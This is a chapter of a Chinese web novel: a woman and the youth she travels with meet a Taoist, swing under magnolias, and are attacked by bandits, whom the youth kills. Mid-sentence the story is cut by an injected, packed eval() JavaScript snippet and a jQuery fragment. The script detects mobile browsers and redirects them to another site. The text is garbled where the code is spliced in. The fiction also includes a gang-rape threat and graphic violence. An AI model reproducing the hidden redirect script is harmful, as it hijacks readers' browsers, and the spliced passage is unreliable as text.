翌日,孟颜和谢寒渊途径行至一片密林,四周是一片葱绿。春风掠过,枝头沙沙作响。
穿过密林,入目是一片青缕的水衫,整齐排列在绿油油的河流之上,宛如一条青黛色的绸缎。
几片翠绿的枝叶落在水面上,如同一块偌大的翡翠玉石点缀在河面中。
潺潺流水,清脆悦耳,好似整个天下只剩下河水涓涓流淌之声。
一人一水,一静一动。
此情此景,让人心胸宁静开阔不少。
彼时,一道刺耳嘹亮的声音响起:“
面若桃花颜如玉,
心像春水波若银。①
樱桃小口点绛唇,
古来英雄谁不宠。
一个衣衫褴褛,面黄肌瘦的道人饶有兴致地吟诵着。道人步伐缓慢,布鞋破旧,露出干裂的脚跟,手中却紧握着一根竹杖,杖头已被磨得光滑。
他走至谢寒渊面前停下,眯起眼睛,仔细端详一番,片刻后,他嘴角微微上扬,眼中闪过一丝亮光。
“年轻人。”道人开口,嗓音坚定,“你日后必是人中龙凤,一人之下,万人之上。”
孟颜一听,心中猛地一震,暗叹老道慧眼识珠,技艺精湛,鼓起勇气问:“可他如今这样,还能好吗?我们已寻遍了名医,皆束手无策。”
老道枯黄的指尖在胡须间轻轻摩挲,扬长大笑:“头痛医头,脚痛医脚,此乃庸医!”
“上病可下治,下病可上治,只是……”
孟颜见他迟疑:“道长但说无妨。”
“得需女子配合为这位公子治疗。”
配合?
“恳请道长明示!”孟颜拱手道。
“所谓:阴阳者,天地之道也……”
那老道将方法和注意事项一一向孟颜透露了遍。
孟颜顿时脸颊煞红,既惊讶又羞涩:“此法当真有效?”
道人神色一肃,目光如炬地看着她,郑重道:“贫僧若有半句不实,身死道消,不得好死!”他掷地有声,随即掏出一个香囊,散发出淡淡的草药清香,并嘱咐她在必要时候放在床头即可。
孟颜接过香囊,低头细看,指尖轻轻摩挲着,接着抬眸,见他穿着虽破烂不堪,可那双眼睛却神采奕奕,透着一股超凡脱俗的气质。她暗自思忖,这个道人没有骗她的必要,也未向她索要分毫银子,应当是可信之人。
老道捋了捋长长的黑胡须,扬长而去,随后消失在二人的视线中,只余下风声在耳畔低语。
二人继而向山顶走着,视野愈发开阔,山面环山,两旁的草木愈发茂盛,空气中弥漫着青草与野花的清香,一片绿意盎然。微风拂过,带来阵阵凉意。
忽而,孟颜发现前方一棵盛开玉兰花的大树下,悬挂着一个简陋的秋千。
玉兰花盛开如雪,粉色的花瓣在阳光下娇艳欲滴,远远望去,如同与世无争的世外桃源。
她快步跑上前,迫不及待坐下,轻轻一蹬,秋千缓缓晃动。一阵微风拂过,粉嫩的花瓣簌簌而落,飘洒在她的发间和衣衫上,宛如轻柔的花雨。
“娘亲,我来推你!”
一片玉兰花随风飘零,正中少年的眉心。
孟颜有过片刻的恍惚,望着那张俊美的脸,面色如白玉般无瑕。
他捏花一笑,抬手一扬,随风扬起,缓缓落在他的唇珠上。花瓣裹颊着晶莹的晨露,在金乌照射下呈现一片莹白透亮的光晕,与他的唇瓣相融,唇色淡若樱染。
风儿一吹,吹到了孟颜那漆黑的绣花鞋上,微微浸湿一小处。
她捏起鞋尖上的花瓣,喃喃地吟起了诗:“愿随夫子天坛上,闲与仙人扫落花。”②
平日她书读的不多,但会背几首她喜爱的诗词。
此情此景,她真希望岁月能够在这一刻静止。
“娘亲坐好,九儿要推你了。”谢寒渊的声音打断了她。
秋千晃啊晃,少年突然加快了速度和力度,重重一推,秋千荡向高处。
孟颜只觉风声呼啸,身子微微失重,忍不住笑道:“九儿,你这么卖力干什么?”她又不是孩童了,还用得着这种玩法?好幼稚!孟颜有些哭笑不得。
“娘亲,你喜欢这种感觉吗?“他嗓音清朗,带着几分戏谑。
“呃……喜欢吧……”这究竟是何感觉呢?
她不禁想起幼时无忧无虑地生活,可转念一想,也不知谢寒渊幼时过得如何?
此刻,衣衫随风飘扬,猎猎作响。风愈发大了起来,树上粉嫩的玉兰花簌簌而落,仿佛与二人同乐。
孟颜侧过脸:“来,九儿你也上来。”
谢寒渊跃至秋千上,与她并肩而坐。
广阔无垠的山脉,蓝天白云近在咫尺,秋千荡啊荡啊,连同心扉也一起颤栗,空中两道身影,一深一浅,越来越近。
孟颜突然将头倚靠在少年的肩上,眼里泛着潋滟之色,双颊如桃腮,笑靥如花,心中暖洋洋地。
等到夕阳西沉,天边染上一抹橘红,山间的风渐渐凉了下来,二人相约下了山。
可在半山腰上,两个身影忽然从树丛中窜出,挡住了他们的去路,竟是两个地痞流氓!
“小美人请留步!”一个络腮胡的中年男子瞪着凶狠的眼眸,指着孟颜道。随后,他又斜睨谢寒渊一眼,指着他道,“你可以滚了!”
孟颜吓得脸色煞白,紧紧拽着他的胳膊,颤抖地低语:“九儿,怎么办?”
“娘亲别怕,我要杀了这两个人。”少年挺身而出,挡在她身前,眼中闪过一丝冷芒。
孟颜一听,心急如焚,他如今的样子,如何与这两个凶神恶煞的地痞抗衡?只怕别被反杀才好!便拉住他的衣袖想要阻止。
却见另一个秃头男子狞笑着开口:“大哥,要不干脆将这少年五花大绑,咱们当着他的面轮/奸这小美人。”他伸舌在唇间舔了舔,朝孟颜抛了个淫.邪媚眼。
孟颜吓得浑身发颤,双腿一软,蹲在谢寒渊的身后。
山风呼啸,带着松涛阵阵,卷起尘土。光影交错间,树影婆娑,远处的峰峦在暮色中显得苍茫、肃杀。
谢寒渊歪着头,呆呆地看着两个地痞,嘴里发出含糊的笑声:“嘿嘿,刀……亮亮的……”他缓缓朝前走着。
孟颜急得拉住他,低声喝道:“九儿,别过去!”
秃头男子哈哈大笑,舔了舔嘴唇,走近一步:“大哥,这傻子倒有趣!“
他挥了挥手中的短刀,刀锋划破空气,发出“嗖”的一声,带着几分恐吓的意味。
孟颜吓得双腿发软,跌坐在地上,泪水夺眶而出,颤声道:“你们要银子我给……求两位大哥放过我们吧!”
然而,她的哀求只换来二人肆无忌惮的狂笑。
少年原本呆滞的眼眸里,闪过一丝异样的光芒。他嘴里嘟囔着:“坏人……欺负姐姐!打……”嗓音低沉,带着一种莫名的执拗。
络腮胡男子愣了一下,随即大笑:“哟,这傻子还想逞英雄?来,让爷看看你有几斤几两!”他举起短刀,朝谢寒渊劈去,刀锋直指他的肩膀。
孟颜尖叫一声:“九儿,快跑!”可他却像没听见,笨拙地侧身一闪,竟险险避开了刀锋。他动作虽不灵敏,却带着一股本能的敏锐,仿佛身体在无意识间做出了反应。
络腮胡男子一刀落空,恼羞成怒,骂道:“狗.杂.种,还敢躲?”他挥刀再次砍来,刀势更凶。
谢寒渊歪着头,嘴里发出“嘿嘿”的笑声,双手胡乱挥舞,像是在拍打飞虫。
就在刀锋即将触及他胸口时,他猛地一低头,扑向络腮胡男子,双手死死抱住对方握刀的手腕。男子没想到这傻子竟有如此力气,猝不及防,被他撞
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15758225|164557||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
得一个踉跄。
少年趁势张嘴,狠狠咬在男子的手腕上,牙齿深陷皮肉,鲜血顿时涌出。
“啊——”络腮胡男子痛得大叫,短刀“当啷”一声掉在地上。他挥拳砸向少年的头,拳头重重落在他的额角,血痕瞬间浮现。
谢寒渊却像感觉不到痛,嘴里依旧含糊地喊着:“坏蛋!打死你……”他死死抱着男子不放,像是疯了一般,用尽全身力气将对方撞向一旁的岩石。
岩石棱角尖锐,络腮胡男子后脑猛地撞上,发出一声闷响,身体一软,瘫倒在地,鲜血从头颅渗出,染红了青石。
少年终松开手,跌坐在地上,额头上的血顺着脸颊滑落,滴在破旧的衣襟上。他喘着粗气,呆呆地看着地上的男子,嘴里喃喃道:“坏人!不许欺负姐姐!”
秃头男子怎么也未料到这样的结果,他见同伴倒下,惊怒交加,挥刀朝谢寒渊扑来:“小杂/种,我宰了你!”刀锋划破空气,直奔他的胸口。
孟颜惊叫着扑上前,想挡在他身前,却被少年一把推开。
他摇晃着站起身,眼中闪过一丝野兽般的凶光,像是被激起了某种深藏的本能。
谢寒渊低吼一声,迎着刀锋冲去。他毫无章法,双手胡乱抓向秃头男子的手臂,硬生生用身体挡住了刀锋。刀刃划过他的手臂,鲜血喷涌而出,染红了半边衣袖。
少年却浑然不觉疼痛,趁着男子一愣的工夫,猛地扑上去,将对方压倒在地。双手死死掐住男子的脖子,眼中满是执拗与愤怒,嘴里含糊不清地喊着:“坏蛋!给我死!”
秃头男子拼命挣扎,拳脚并用,踢打在少年的胸口与小腹,发出沉闷的响声。
少年的嘴角渗出血丝,身体摇摇欲坠,但他双手却越掐越紧,指甲深深嵌入男子的脖颈。
山风呼啸,卷起地上的尘土,杂糅着血腥气,冷月洒在两人身上,映出一道惨白的光。
秃头男子挣扎渐弱,喉咙里发出“咯咯”的声音,身体一软,彻底没了气息。
少年松开手,跌坐在地上,大口喘着粗气。他的手臂、胸口和脸上满是血痕,衣衫被刀锋割裂,露出深可见骨的伤口。鲜血顺着皮肤淌下,滴在山道的青石上,绽开一朵朵触目惊心的猩红。
山间的风愈发冷冽,吹得他单薄的身子微微颤抖,血腥味与泥土的气息交织,令人心悸。
孟颜不知,谢寒渊幼时被母妃关在狼窝里,盼着他被野狼生生咬死,他吓得魂飞魄散,却只能强忍恐惧,与那些凶残的野兽搏斗。最后,他只手凭一己之力绞杀所有狼犬,才保全性命。
“九儿,你受伤了。”孟颜失声痛哭,泪水如断线般滑落,她颤抖着抱住他,这她第一次为他流泪。
“娘亲,谁敢伤害你,九儿就杀死他!”少年眸中闪过一丝微光,咧嘴笑了,山间清风,干净无暇。
“来,我们赶紧走。”她将少年一只胳膊搭在肩上,另一手揽着他的腰板,搀扶着他,一步步他擦洗伤口,四肢、前胸皆布满刀痕。
一道道刀疤深可见骨,皮肉翻卷,鲜血不断渗出,十分狰狞,她将事先备下的金疮药撒上。
“嘶——”少年皱眉闷哼,疼痛使他全身一颤。
见状,孟颜又轻轻朝伤口吹了吹气,试图缓解他的痛苦,他这才舒缓不少。
她脑袋闪过少年搏斗的画面,动作虽笨拙,却是拼尽了全力。
同他以往一样,每次她遇到危险,谢寒渊都能让她死里逃生,化险为夷。
他就像……就像是她的守护神,踏着七彩祥云而来!
处理完伤口,谢寒渊很快沉沉睡去,等孟颜沐浴后躺下,身心俱疲,她以为今夜能一觉睡到大天亮,谁知半夜,身子又开始燥热起来,翻来覆去难以入眠。
窗外月光如水,她摸了摸额头,也不知是天气的缘故,还是心中的情绪在作祟。